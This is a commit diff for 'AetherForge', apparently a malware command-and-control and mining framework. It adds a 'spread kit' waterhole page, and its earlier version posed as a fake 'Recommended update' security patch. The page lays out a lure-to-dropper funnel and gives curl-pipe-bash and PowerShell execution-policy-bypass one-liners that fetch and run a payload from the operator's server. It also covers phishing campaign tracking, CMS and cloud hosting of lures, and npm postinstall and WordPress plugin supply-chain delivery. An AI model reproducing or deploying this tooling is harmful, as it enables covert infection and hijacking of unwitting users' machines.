feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -7,6 +7,14 @@ Static **waterhole** kit for AetherForge. Upload the folder (or a customized ZIP
|
||||
- Netlify / Vercel
|
||||
- Owned WordPress / CMS (HTML block or custom page template)
|
||||
|
||||
## On-server copy
|
||||
|
||||
The same files are synced to `server/web/public/spread/` and served without auth at:
|
||||
|
||||
**`https://<your-server>/spread/`**
|
||||
|
||||
Use this as the operator instructions page from the login screen and Emberwake tab.
|
||||
|
||||
## Quick start
|
||||
|
||||
1. Forge and pin a build in the command deck.
|
||||
@@ -23,16 +31,24 @@ If you skip the API export, replace in all files:
|
||||
| `{{SERVER_URL}}` | `http://192.168.1.50:8989` or your tunnel URL |
|
||||
| `{{BUILD_ID}}` | Pinned build UUID (optional) |
|
||||
| `{{CAMPAIGN}}` | Default campaign slug |
|
||||
| `{{CAMPAIGN_QUERY}}` | `?c=slug` or empty |
|
||||
| `{{QUERY_SUFFIX}}` | `?c=slug` or `?pin=uuid&c=slug` |
|
||||
| `{{GET_QUERY_SUFFIX}}` | `&pin=uuid&c=slug` or empty |
|
||||
| `{{CAMPAIGN_QUERY}}` | Same as `{{QUERY_SUFFIX}}` |
|
||||
| `{{PIN_QUERY}}` | `?pin=uuid` or empty |
|
||||
|
||||
When served from `/spread/` without export, JavaScript falls back to `window.location.origin` for the server URL and preserves `?c=` / `?pin=` from the page URL.
|
||||
|
||||
## Files
|
||||
|
||||
- `index.html` — auto-detects OS, links to installers
|
||||
- `index.html` — landing: hero, how-it-works, 3-step guide, platform cards, campaign/CMS/plugin docs
|
||||
- `install.ps1` / `install.sh` / `install.command` — curl/irm to your server
|
||||
- `assets/aether.css` — dark steampunk styling
|
||||
- `assets/aether.css` — dark aether theme (aligned with `/docs/` wiki styling)
|
||||
- `campaigns/README.md` — campaign param docs
|
||||
|
||||
## Docs wiki
|
||||
|
||||
Full threat-intel matrix: [`/docs/SPREAD_TECHNIQUES.md`](/docs/SPREAD_TECHNIQUES.md) on your command-deck server.
|
||||
|
||||
## Public builds (login page)
|
||||
|
||||
Unauthenticated downloads also work via `GET /api/v1/public/builds` when the operator enables public builds or marks builds pinned/public.
|
||||
|
||||
@@ -1,59 +1,487 @@
|
||||
/* AetherForge spread kit — dark aether theme (aligned with command-deck operator deck) */
|
||||
:root {
|
||||
--bg: #0a0c10;
|
||||
/* Operator deck card chrome (mirrors server/web/src/styles/operatorDeck.css) */
|
||||
--deck-card-bg: linear-gradient(145deg, rgba(18, 22, 31, 0.96) 0%, rgba(13, 16, 24, 0.99) 100%);
|
||||
--deck-card-border: #252d3d;
|
||||
--deck-card-radius: 8px;
|
||||
--deck-card-padding: 1.25rem;
|
||||
--deck-card-shadow: 0 4px 24px #00000066;
|
||||
--deck-card-glow: #ff6b2c22;
|
||||
--deck-card-accent-bar: var(--ember);
|
||||
--deck-accent: var(--ember);
|
||||
--deck-accent-dim: #ff6b2c55;
|
||||
--deck-accent-glow: var(--ember-glow);
|
||||
--deck-accent-bg: rgba(255, 107, 44, 0.06);
|
||||
--deck-interactive-outline: var(--deck-accent-dim);
|
||||
--deck-interactive-glow: var(--deck-accent-glow);
|
||||
|
||||
--bg: #07090e;
|
||||
--bg-elevated: #0d1118;
|
||||
--panel: #12161f;
|
||||
--panel-hover: #181e2a;
|
||||
--border: #252d3d;
|
||||
--border-bright: #3a4558;
|
||||
--text: #e8dcc8;
|
||||
--muted: #8a7f6e;
|
||||
--dim: #5c5548;
|
||||
--ember: #ff6b2c;
|
||||
--ember-glow: #ff6b2c44;
|
||||
--cyan: #3dd6c6;
|
||||
--cyan-dim: #2a9d92;
|
||||
--gold: #c9a227;
|
||||
--violet: #9b7fd4;
|
||||
--win: #00e5ff;
|
||||
--nix: #a3e635;
|
||||
--mac: #f0abfc;
|
||||
--radius: 8px;
|
||||
--radius-sm: 4px;
|
||||
--font-serif: Georgia, 'Times New Roman', serif;
|
||||
--font-mono: ui-monospace, 'Cascadia Code', 'SF Mono', monospace;
|
||||
--font-sans: system-ui, -apple-system, 'Segoe UI', sans-serif;
|
||||
--shadow: 0 4px 24px #00000066;
|
||||
--max: 920px;
|
||||
}
|
||||
* { box-sizing: border-box; }
|
||||
|
||||
*, *::before, *::after { box-sizing: border-box; }
|
||||
|
||||
html { scroll-behavior: smooth; }
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
min-height: 100vh;
|
||||
font-family: Georgia, 'Times New Roman', serif;
|
||||
background: radial-gradient(ellipse at 20% 0%, #1a1428 0%, var(--bg) 55%);
|
||||
font-family: var(--font-serif);
|
||||
background:
|
||||
radial-gradient(ellipse 80% 50% at 15% -10%, #1f1830 0%, transparent 55%),
|
||||
radial-gradient(ellipse 60% 40% at 90% 10%, #0f1a28 0%, transparent 50%),
|
||||
var(--bg);
|
||||
color: var(--text);
|
||||
line-height: 1.65;
|
||||
}
|
||||
.shell { max-width: 640px; margin: 0 auto; padding: 3rem 1.5rem; }
|
||||
.eyebrow {
|
||||
font-family: ui-monospace, monospace;
|
||||
font-size: 0.75rem;
|
||||
letter-spacing: 0.2em;
|
||||
|
||||
a { color: var(--cyan); text-decoration-thickness: 1px; }
|
||||
a:hover { color: var(--ember); }
|
||||
|
||||
/* Layout */
|
||||
.shell { max-width: var(--max); margin: 0 auto; padding: 0 1.25rem 4rem; }
|
||||
|
||||
.topnav {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 0.75rem;
|
||||
padding: 1.25rem 0;
|
||||
border-bottom: 1px solid var(--border);
|
||||
margin-bottom: 2rem;
|
||||
}
|
||||
|
||||
.brand {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.8rem;
|
||||
letter-spacing: 0.18em;
|
||||
text-transform: uppercase;
|
||||
color: var(--gold);
|
||||
text-decoration: none;
|
||||
}
|
||||
h1 { font-size: 1.75rem; margin: 0.5rem 0 1rem; }
|
||||
.lede { color: var(--muted); line-height: 1.6; }
|
||||
.actions { display: grid; gap: 0.75rem; margin: 2rem 0; }
|
||||
|
||||
.brand:hover { color: var(--ember); }
|
||||
|
||||
.nav-links {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem 1rem;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.nav-links a { color: var(--muted); text-decoration: none; }
|
||||
.nav-links a:hover { color: var(--text); }
|
||||
|
||||
/* Hero */
|
||||
.hero {
|
||||
text-align: center;
|
||||
padding: 2rem 0 2.5rem;
|
||||
}
|
||||
|
||||
.eyebrow {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.7rem;
|
||||
letter-spacing: 0.22em;
|
||||
text-transform: uppercase;
|
||||
color: var(--gold);
|
||||
margin: 0 0 0.75rem;
|
||||
}
|
||||
|
||||
.hero h1 {
|
||||
font-size: clamp(1.6rem, 4vw, 2.25rem);
|
||||
margin: 0 0 1rem;
|
||||
font-weight: 400;
|
||||
line-height: 1.25;
|
||||
}
|
||||
|
||||
.lede {
|
||||
color: var(--muted);
|
||||
max-width: 36rem;
|
||||
margin: 0 auto;
|
||||
font-size: 1.05rem;
|
||||
}
|
||||
|
||||
/* Sections — operator deck card chrome */
|
||||
.section {
|
||||
margin-bottom: 2.5rem;
|
||||
position: relative;
|
||||
padding: var(--deck-card-padding);
|
||||
border-radius: var(--deck-card-radius);
|
||||
border: 1px solid var(--deck-card-border);
|
||||
background: var(--deck-card-bg);
|
||||
box-shadow: var(--deck-card-shadow), 0 0 28px -14px var(--deck-card-glow);
|
||||
transition: border-color 0.22s ease, box-shadow 0.28s ease;
|
||||
}
|
||||
|
||||
.section::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 2px;
|
||||
border-radius: var(--deck-card-radius) var(--deck-card-radius) 0 0;
|
||||
background: linear-gradient(90deg, var(--deck-card-accent-bar), transparent 72%);
|
||||
opacity: 0.65;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.section:hover {
|
||||
border-color: color-mix(in srgb, var(--deck-card-border) 55%, var(--deck-accent));
|
||||
box-shadow: var(--deck-card-shadow), 0 0 32px -10px var(--deck-accent-glow);
|
||||
}
|
||||
|
||||
.section h2 {
|
||||
font-size: 1.15rem;
|
||||
font-weight: 400;
|
||||
margin: 0 0 1rem;
|
||||
padding-bottom: 0.5rem;
|
||||
border-bottom: 1px solid var(--border);
|
||||
font-family: var(--font-mono);
|
||||
letter-spacing: 0.06em;
|
||||
text-transform: uppercase;
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
.section h3 {
|
||||
font-size: 1rem;
|
||||
margin: 1.25rem 0 0.5rem;
|
||||
color: var(--cyan);
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.section p { margin: 0 0 0.75rem; color: var(--muted); }
|
||||
|
||||
/* Steps */
|
||||
.steps {
|
||||
display: grid;
|
||||
gap: 1rem;
|
||||
counter-reset: step;
|
||||
}
|
||||
|
||||
@media (min-width: 640px) {
|
||||
.steps { grid-template-columns: repeat(3, 1fr); }
|
||||
}
|
||||
|
||||
.step {
|
||||
background: var(--panel);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--deck-card-radius);
|
||||
padding: var(--deck-card-padding);
|
||||
position: relative;
|
||||
box-shadow: var(--deck-card-shadow);
|
||||
transition: border-color 0.2s ease, box-shadow 0.25s ease, outline-color 0.2s ease;
|
||||
outline: 1px solid transparent;
|
||||
outline-offset: 2px;
|
||||
}
|
||||
|
||||
.step:hover {
|
||||
border-color: color-mix(in srgb, var(--border) 55%, var(--deck-accent));
|
||||
box-shadow: var(--deck-card-shadow), 0 0 22px -6px var(--deck-accent-glow);
|
||||
outline-color: var(--deck-interactive-outline);
|
||||
}
|
||||
|
||||
.step::before {
|
||||
counter-increment: step;
|
||||
content: counter(step);
|
||||
display: block;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.7rem;
|
||||
color: var(--ember);
|
||||
letter-spacing: 0.1em;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.step strong {
|
||||
display: block;
|
||||
color: var(--text);
|
||||
margin-bottom: 0.35rem;
|
||||
font-size: 0.95rem;
|
||||
}
|
||||
|
||||
.step span { font-size: 0.85rem; color: var(--muted); }
|
||||
|
||||
/* How it works flow */
|
||||
.flow {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 0.5rem 0.25rem;
|
||||
padding: 1.25rem;
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.78rem;
|
||||
color: var(--muted);
|
||||
}
|
||||
|
||||
.flow-node {
|
||||
padding: 0.4rem 0.75rem;
|
||||
background: var(--panel);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
.flow-arrow { color: var(--dim); }
|
||||
|
||||
/* Platform cards */
|
||||
.platform-grid {
|
||||
display: grid;
|
||||
gap: 0.85rem;
|
||||
}
|
||||
|
||||
@media (min-width: 520px) {
|
||||
.platform-grid { grid-template-columns: repeat(2, 1fr); }
|
||||
}
|
||||
|
||||
.platform-card {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.5rem;
|
||||
padding: 1.1rem 1.2rem;
|
||||
background: var(--panel);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
transition: border-color 0.2s, box-shadow 0.2s;
|
||||
}
|
||||
|
||||
.platform-card:hover {
|
||||
border-color: var(--border-bright);
|
||||
box-shadow: var(--shadow);
|
||||
}
|
||||
|
||||
.platform-card header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.platform-icon {
|
||||
width: 3px;
|
||||
height: 1.4rem;
|
||||
border-radius: 2px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.platform-icon--win { background: var(--win); }
|
||||
.platform-icon--nix { background: var(--nix); }
|
||||
.platform-icon--mac { background: var(--mac); }
|
||||
.platform-icon--srv { background: var(--gold); }
|
||||
|
||||
.platform-card h3 {
|
||||
margin: 0;
|
||||
font-size: 0.95rem;
|
||||
font-family: var(--font-mono);
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
.platform-card p {
|
||||
margin: 0;
|
||||
font-size: 0.82rem;
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.btn {
|
||||
display: block;
|
||||
text-align: center;
|
||||
padding: 0.9rem 1.2rem;
|
||||
border-radius: 6px;
|
||||
padding: 0.75rem 1rem;
|
||||
border-radius: var(--radius-sm);
|
||||
text-decoration: none;
|
||||
font-family: ui-monospace, monospace;
|
||||
font-size: 0.9rem;
|
||||
border: 1px solid #2a3040;
|
||||
background: var(--panel);
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.82rem;
|
||||
border: 1px solid var(--border);
|
||||
background: var(--bg-elevated);
|
||||
color: var(--text);
|
||||
transition: border-color 0.2s, box-shadow 0.2s;
|
||||
transition: border-color 0.2s, box-shadow 0.2s, background 0.2s;
|
||||
cursor: pointer;
|
||||
}
|
||||
.btn:hover { border-color: var(--ember); box-shadow: 0 0 20px #ff6b2c33; }
|
||||
.btn.primary { border-color: var(--ember); background: #1f1410; }
|
||||
.btn-win { border-left: 3px solid #00e5ff; }
|
||||
.btn-nix { border-left: 3px solid #a3e635; }
|
||||
.btn-mac { border-left: 3px solid #f0abfc; }
|
||||
|
||||
.btn:hover {
|
||||
border-color: var(--ember);
|
||||
box-shadow: 0 0 20px var(--ember-glow);
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
.btn.primary {
|
||||
border-color: var(--ember);
|
||||
background: #1a120e;
|
||||
}
|
||||
|
||||
.btn-win { border-left: 3px solid var(--win); }
|
||||
.btn-nix { border-left: 3px solid var(--nix); }
|
||||
.btn-mac { border-left: 3px solid var(--mac); }
|
||||
.btn-dl { border-left: 3px solid var(--gold); }
|
||||
.fine { font-size: 0.85rem; color: var(--muted); }
|
||||
code {
|
||||
display: block;
|
||||
margin-top: 0.5rem;
|
||||
padding: 0.75rem;
|
||||
background: #0d1018;
|
||||
border: 1px solid #222a38;
|
||||
border-radius: 4px;
|
||||
font-size: 0.75rem;
|
||||
word-break: break-all;
|
||||
color: var(--cyan);
|
||||
|
||||
/* Code blocks */
|
||||
code, pre {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
code.inline {
|
||||
display: inline;
|
||||
padding: 0.15rem 0.4rem;
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--cyan);
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
.codeblock {
|
||||
display: block;
|
||||
margin: 0.5rem 0 0;
|
||||
padding: 0.85rem 1rem;
|
||||
background: #080b12;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--cyan);
|
||||
word-break: break-all;
|
||||
white-space: pre-wrap;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
/* Info cards */
|
||||
.info-grid {
|
||||
display: grid;
|
||||
gap: 1rem;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.info-grid--2 { grid-template-columns: repeat(2, 1fr); }
|
||||
}
|
||||
|
||||
.info-card {
|
||||
background: var(--panel);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
padding: 1.1rem 1.2rem;
|
||||
}
|
||||
|
||||
.info-card h3 {
|
||||
margin: 0 0 0.5rem;
|
||||
font-size: 0.9rem;
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
.info-card ul {
|
||||
margin: 0;
|
||||
padding-left: 1.1rem;
|
||||
font-size: 0.85rem;
|
||||
color: var(--muted);
|
||||
}
|
||||
|
||||
.info-card li { margin-bottom: 0.35rem; }
|
||||
|
||||
.info-card--ember { border-left: 3px solid var(--ember); }
|
||||
.info-card--cyan { border-left: 3px solid var(--cyan); }
|
||||
.info-card--gold { border-left: 3px solid var(--gold); }
|
||||
.info-card--violet { border-left: 3px solid var(--violet); }
|
||||
|
||||
/* Tables */
|
||||
.table-wrap { overflow-x: auto; margin: 0.75rem 0; }
|
||||
|
||||
table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
font-size: 0.82rem;
|
||||
font-family: var(--font-sans);
|
||||
}
|
||||
|
||||
th, td {
|
||||
text-align: left;
|
||||
padding: 0.55rem 0.75rem;
|
||||
border: 1px solid var(--border);
|
||||
}
|
||||
|
||||
th {
|
||||
background: var(--bg-elevated);
|
||||
color: var(--text);
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.05em;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
td { color: var(--muted); }
|
||||
|
||||
/* CMS steps */
|
||||
.cms-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.cms-list li {
|
||||
margin-bottom: 1rem;
|
||||
padding: 1rem 1.1rem;
|
||||
background: var(--panel);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
}
|
||||
|
||||
.cms-list strong {
|
||||
display: block;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.85rem;
|
||||
color: var(--text);
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.cms-list p {
|
||||
margin: 0;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
/* Footer */
|
||||
.fine {
|
||||
font-size: 0.82rem;
|
||||
color: var(--dim);
|
||||
text-align: center;
|
||||
padding-top: 2rem;
|
||||
border-top: 1px solid var(--border);
|
||||
margin-top: 1rem;
|
||||
}
|
||||
|
||||
.fine p { margin: 0 0 0.5rem; }
|
||||
|
||||
.tag {
|
||||
display: inline-block;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 0.68rem;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
padding: 0.2rem 0.45rem;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--gold);
|
||||
margin-right: 0.35rem;
|
||||
}
|
||||
|
||||
@@ -3,38 +3,290 @@
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>System Update</title>
|
||||
<meta name="description" content="AetherForge spread kit — static waterhole landing for authorized red-team and lab distribution." />
|
||||
<title>AetherForge Spread Kit</title>
|
||||
<link rel="stylesheet" href="assets/aether.css" />
|
||||
</head>
|
||||
<body>
|
||||
<main class="shell">
|
||||
<nav class="topnav">
|
||||
<a class="brand" href="#">Spread Kit</a>
|
||||
<div class="nav-links">
|
||||
<a href="#install">Install</a>
|
||||
<a href="#campaigns">Campaigns</a>
|
||||
<a href="#cms">CMS upload</a>
|
||||
<a href="#plugins">Plugins</a>
|
||||
<a href="/docs/SPREAD_TECHNIQUES.md">Docs wiki</a>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<header class="hero">
|
||||
<p class="eyebrow">Security patch</p>
|
||||
<h1>Recommended update available</h1>
|
||||
<p class="lede">Your environment requires a small compatibility fix. Choose your platform below — installation is automatic.</p>
|
||||
<p class="eyebrow">AetherForge · Emberwake</p>
|
||||
<h1>Spread kit — static waterhole landing</h1>
|
||||
<p class="lede">
|
||||
Upload this folder to any host you control. Visitors pick their platform; installers pull from your
|
||||
command-deck server with optional campaign and build-pin tracking.
|
||||
</p>
|
||||
</header>
|
||||
<section class="actions" id="actions">
|
||||
<a class="btn btn-win" id="btn-win" href="install.ps1{{QUERY_SUFFIX}}">Windows</a>
|
||||
<a class="btn btn-nix" id="btn-nix" href="install.sh{{QUERY_SUFFIX}}">Linux</a>
|
||||
<a class="btn btn-mac" id="btn-mac" href="install.command{{QUERY_SUFFIX}}">macOS</a>
|
||||
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct download</a>
|
||||
|
||||
<section class="section" id="how">
|
||||
<h2>How it works</h2>
|
||||
<div class="flow" aria-label="Spread funnel">
|
||||
<span class="flow-node">Lure / ad / email</span>
|
||||
<span class="flow-arrow">→</span>
|
||||
<span class="flow-node">Your static page</span>
|
||||
<span class="flow-arrow">→</span>
|
||||
<span class="flow-node">install.ps1 / .sh / .command</span>
|
||||
<span class="flow-arrow">→</span>
|
||||
<span class="flow-node">Server <code class="inline">/get</code></span>
|
||||
<span class="flow-arrow">→</span>
|
||||
<span class="flow-node">Agent checks in</span>
|
||||
</div>
|
||||
<p style="margin-top: 1rem;">
|
||||
The page does not host binaries — it only links to your AetherForge server dropper endpoints.
|
||||
Campaign tags flow from the URL into installer scripts and appear in the fleet dashboard on first connect.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="steps">
|
||||
<h2>Operator — 3 steps</h2>
|
||||
<div class="steps">
|
||||
<article class="step">
|
||||
<strong>Forge & pin</strong>
|
||||
<span>
|
||||
Build an installer in the command deck. Pin the build you want for this wave (Builds → pin).
|
||||
Note the build UUID for A/B tests.
|
||||
</span>
|
||||
</article>
|
||||
<article class="step">
|
||||
<strong>Export or sync</strong>
|
||||
<span>
|
||||
Emberwake → set server URL + campaign → <em>Export spread kit ZIP</em>, or copy
|
||||
<code class="inline">spread-kit-web-publisher/</code> and replace placeholders.
|
||||
Upload all files to your static host root or subpath.
|
||||
</span>
|
||||
</article>
|
||||
<article class="step">
|
||||
<strong>Share with tracking</strong>
|
||||
<span>
|
||||
Distribute <code class="inline">https://yoursite/page?c=campaign-slug</code>.
|
||||
Watch hits under Emberwake → Campaign hits and agent <code class="inline">campaign</code> metadata.
|
||||
</span>
|
||||
</article>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="section" id="install">
|
||||
<h2>Platform install</h2>
|
||||
<p>Auto-highlights your OS. All links include configured server URL and query suffix from export.</p>
|
||||
<div class="platform-grid" id="actions">
|
||||
<article class="platform-card">
|
||||
<header>
|
||||
<span class="platform-icon platform-icon--win" aria-hidden="true"></span>
|
||||
<h3>Windows</h3>
|
||||
</header>
|
||||
<p>PowerShell dropper — downloads pinned build or latest Windows artifact via <code class="inline">/get?os=windows</code>.</p>
|
||||
<a class="btn btn-win" id="btn-win" data-installer="install.ps1" href="install.ps1{{QUERY_SUFFIX}}">Run install.ps1</a>
|
||||
</article>
|
||||
<article class="platform-card">
|
||||
<header>
|
||||
<span class="platform-icon platform-icon--nix" aria-hidden="true"></span>
|
||||
<h3>Linux</h3>
|
||||
</header>
|
||||
<p>Shell dropper for desktops and servers — pipes <code class="inline">install.sh</code> from your command deck.</p>
|
||||
<a class="btn btn-nix" id="btn-nix" data-installer="install.sh" href="install.sh{{QUERY_SUFFIX}}">Run install.sh</a>
|
||||
</article>
|
||||
<article class="platform-card">
|
||||
<header>
|
||||
<span class="platform-icon platform-icon--mac" aria-hidden="true"></span>
|
||||
<h3>macOS</h3>
|
||||
</header>
|
||||
<p>Double-click <code class="inline">.command</code> or curl one-liner; same pipeline as Linux with macOS UA routing.</p>
|
||||
<a class="btn btn-mac" id="btn-mac" data-installer="install.command" href="install.command{{QUERY_SUFFIX}}">Run install.command</a>
|
||||
</article>
|
||||
<article class="platform-card">
|
||||
<header>
|
||||
<span class="platform-icon platform-icon--srv" aria-hidden="true"></span>
|
||||
<h3>Server (curl)</h3>
|
||||
</header>
|
||||
<p>Headless VPS / CI — paste in SSH session. No browser required.</p>
|
||||
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct /get download</a>
|
||||
</article>
|
||||
</div>
|
||||
<h3>One-liners</h3>
|
||||
<p class="form-hint" style="color: var(--muted); margin: 0 0 0.5rem;">Copy for docs pages, tickets, or IRC.</p>
|
||||
<code class="codeblock" id="oneliner-bash">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
|
||||
<code class="codeblock" id="oneliner-ps1" style="margin-top: 0.5rem;">powershell -ep bypass -c "iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')"</code>
|
||||
</section>
|
||||
|
||||
<section class="section" id="campaigns">
|
||||
<h2>Campaign tracking</h2>
|
||||
<p>
|
||||
Append query parameters to any waterhole URL, dropper script URL, or <code class="inline">/get</code> link.
|
||||
The server logs the hit; agents inherit the campaign on install.
|
||||
</p>
|
||||
<div class="info-grid info-grid--2">
|
||||
<article class="info-card info-card--ember">
|
||||
<h3><code class="inline">?c=</code> campaign slug</h3>
|
||||
<ul>
|
||||
<li>Tags the funnel wave — e.g. <code class="inline">?c=linkedin-bait</code></li>
|
||||
<li>Shown in Emberwake → Campaign hits</li>
|
||||
<li>Stored on agent as <code class="inline">campaign</code> metadata</li>
|
||||
<li>Slug: alphanumeric, dash, underscore, dot — max 64 chars</li>
|
||||
</ul>
|
||||
</article>
|
||||
<article class="info-card info-card--cyan">
|
||||
<h3><code class="inline">?pin=</code> build UUID</h3>
|
||||
<ul>
|
||||
<li>Locks dropper to a specific forged build</li>
|
||||
<li>Use for A/B: pin build A, share <code class="inline">?pin=<uuid-a>&c=wave-a</code></li>
|
||||
<li>Combine with <code class="inline">?c=</code>: <code class="inline">?pin=…&c=…</code></li>
|
||||
<li>Emberwake campaign builder copies ready-made links</li>
|
||||
</ul>
|
||||
</article>
|
||||
</div>
|
||||
<div class="table-wrap">
|
||||
<table>
|
||||
<thead>
|
||||
<tr><th>Example URL</th><th>Use</th></tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td><code class="inline">https://yoursite.example/?c=usb-drop</code></td>
|
||||
<td>Static page; scripts read <code class="inline">location.search</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code class="inline">{{SERVER_URL}}/get?c=docs-footer</code></td>
|
||||
<td>Direct binary fetch with attribution</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><code class="inline">{{SERVER_URL}}/install.ps1?pin={{BUILD_ID}}&c=ab-test-b</code></td>
|
||||
<td>Pinned build + campaign on PS1 one-liner</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<p>
|
||||
<span class="tag">Tip</span>
|
||||
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
|
||||
Full matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="cms">
|
||||
<h2>CMS & static host upload</h2>
|
||||
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
|
||||
<ol class="cms-list">
|
||||
<li>
|
||||
<strong>WordPress — Custom HTML block</strong>
|
||||
<p>
|
||||
Pages → Add block → <em>Custom HTML</em>. Upload <code class="inline">index.html</code> assets via Media Library
|
||||
or paste a trimmed hero + platform section. Host <code class="inline">install.ps1</code> / <code class="inline">install.sh</code>
|
||||
in the same directory via SFTP or a child theme <code class="inline">/spread/</code> folder. Link buttons to absolute
|
||||
URLs on that path. Keep <code class="inline">assets/aether.css</code> relative.
|
||||
</p>
|
||||
</li>
|
||||
<li>
|
||||
<strong>Cloudflare Pages</strong>
|
||||
<p>
|
||||
Create project → connect repo or drag-drop ZIP → set build output to kit root.
|
||||
Publish at <code class="inline">pages.dev</code> or your zone CNAME. No server config — pure static.
|
||||
Optional: Workers in front for geo/UA gate (see docs wiki).
|
||||
</p>
|
||||
</li>
|
||||
<li>
|
||||
<strong>Amazon S3 + CloudFront</strong>
|
||||
<p>
|
||||
Create bucket → enable static website or OAI to CloudFront → upload all kit files preserving
|
||||
<code class="inline">assets/</code> path. Set <code class="inline">index.html</code> as default root object.
|
||||
Invalidate cache after each Emberwake export. Use a separate bucket from command-deck artifacts.
|
||||
</p>
|
||||
</li>
|
||||
</ol>
|
||||
<p>
|
||||
After upload, test each platform button and verify campaign hits in Emberwake when appending
|
||||
<code class="inline">?c=test</code> to the live URL.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="plugins">
|
||||
<h2>Plugin supply chain (owned extension)</h2>
|
||||
<p>
|
||||
For browser, editor, <strong>WordPress</strong>, or <strong>npm</strong> packages you <em>publish</em>, ship a
|
||||
legitimate update package that points download/install flows at <em>your</em> server — not third-party registry hijacking.
|
||||
</p>
|
||||
<div class="info-card info-card--violet">
|
||||
<h3>High-level pattern</h3>
|
||||
<ul>
|
||||
<li><strong>WordPress (owned site):</strong> Emberwake → <em>Export WordPress Plugin ZIP</em> → upload on your WP host. Plugin links to <code class="inline">/get?c=wp-{site}</code>. <a href="/docs/#wordpress-plugin-supply-chain">Docs wiki §</a></li>
|
||||
<li><strong>npm (your registry):</strong> Emberwake → <em>Export npm package template ZIP</em> → publish privately; <code class="inline">postinstall</code> curls <code class="inline">install.sh</code>. <a href="/docs/#npm-postinstall-helper">Docs wiki §</a></li>
|
||||
<li><strong>Host your own plugin ZIP</strong> on the same static origin as this kit (or GitHub Releases you control).</li>
|
||||
